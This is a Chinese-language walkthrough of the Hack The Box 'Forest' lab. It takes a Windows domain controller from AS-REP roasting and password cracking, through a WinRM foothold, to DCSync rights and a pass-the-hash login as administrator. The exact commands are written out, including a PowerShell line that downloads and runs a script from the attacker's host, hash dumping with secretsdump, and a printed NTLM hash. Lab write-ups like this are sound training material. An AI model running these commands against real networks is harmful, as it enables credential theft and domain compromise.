Forest Walkthrough

Box Info

官网在这里:Forest

Forest in an easy difficulty Windows Domain Controller (DC), for a domain in which Exchange Server has been installed. The DC is found to allow anonymous LDAP binds, which is used to enumerate domain objects. The password for a service account with Kerberos pre-authentication disabled can be cracked to gain a foothold. The service account is found to be a member of the Account Operators group, which can be used to add users to privileged Exchange groups. The Exchange group membership is leveraged to gain DCSync privileges on the domain and dump the NTLM hashes.

image-20250422165110274

The Hack

nmap 对目标主机就行端口发现

sudo nmap -p- 10.129.237.62 --min-rate 5000

image-20250422102041328

对开放的端口进行应用版本发现

sudo nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001 -sV -sC 10.129.237.62

发现该机器是 htb.local 的域控制器,同时发现 3268 开放 LDAP 服务

image-20250422102514778

使用 impacket 中的 GetNPUsers 脚本检查哪些用户名禁用了 Kerberos 预身份验证

impacket-GetNPUsers -dc-ip 10.129.237.62 -request 'htb.local/' -outputfile hash.asreproasting 2>/dev/null

获得 svc-alfresco 的密码哈希

image-20250422120902844

使用 hashcat 破解 18200 的 AS-REP 模式破解

hashcat -m 18200 hash.asreproasting -a 0 /usr/share/wordlists/rockyou.txt

密码为 s3rvice

image-20250422121003025

由于目标主机开放 WinRM 服务,借此进行横向移动

evil-winrm -u svc-alfresco -p s3rvice -i 10.129.237.62

成功登陆域账号 htb\svc-alfresco

image-20250422121304176

在桌面获得 user.txt

image-20250422165234623

上传并执行 SharpHound ,获得 20250421214111_BloodHound.zip 文件

image-20250422123533276

kali 本机 forest 目录开启 SMB 共享,并命名为 home ,账户和密码为 kali/kali

impacket-smbserver -username kali -password kali -smb2support home .

image-20250422124312506

目标主机远程登陆 kali SMB 共享,使用 cp 命令将 20250421214111_BloodHound.zip 拷贝至 kali 本机 forest 目录下

image-20250422124201022

文件传输成功

image-20250422124538035

启动 neo4j ,启动 bloodhound

sudo neo4j start
bloodhound

将 zip 文件上传并分析,发现 SVC-ALFRESCO@HTB.LOCAL 属于 ACCOUNT OPERATORS 特权组,该组成员可以管理域用户和组帐户

且可以完全控制 EXCHANGE WINDOWS PERMISSIONS ,那就就能够继承用户组的 WriteDACL 权限,WriteDACL 权限可以修改域对象的 ACL,最终实现利用 DCSync 导出域内所有用户 hash

image-20250422163716954

使用 ACCOUNT OPERATORS 特权生成并将用户加入 Exchange Windows Permissions 组

net user Ed3n PassWord /add /domain
net group "Exchange Windows Permissions" /add Ed3n

下载并执行 PowerView 脚本

IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13/PowerView.ps1')

要结合 Add-DomainObjectAcl 执行此操作,首先创建一个 PSCredential 对象 :

$pass = ConvertTo-SecureString 'PassWord' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('HTB\Ed3n', $pass)

然后,使用 Add-DomainObjectAcl 函数,授予 DCSync 权限

Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity Ed3n -Rights DCSync

-TargetIdentity : 目标域

-PrincipalIdentity : 被授予权限的用户

-Rights DCSync : 允许执行 DCSync 操作

使用 impacket 工具的 secretsdump 模块,通过 DCSync 攻击导出域内所有用户的密码哈希

impacket-secretsdump htb.local/Ed3n:PassWord@10.129.237.62

获得 htb.local 的 administrator NTLMHASH密码

image-20250422150958588

使用 nxc 检测得到的 NTLMHASH 是否正确

nxc smb 10.129.237.62 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6 -M lsassy

看到 Pwn3d 就放心了

image-20250422154349040

使用 impacket-psexec 进行 PTH 攻击

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.129.237.62

成功登陆域控

image-20250422152418226

获得 root.txt

image-20250422152908405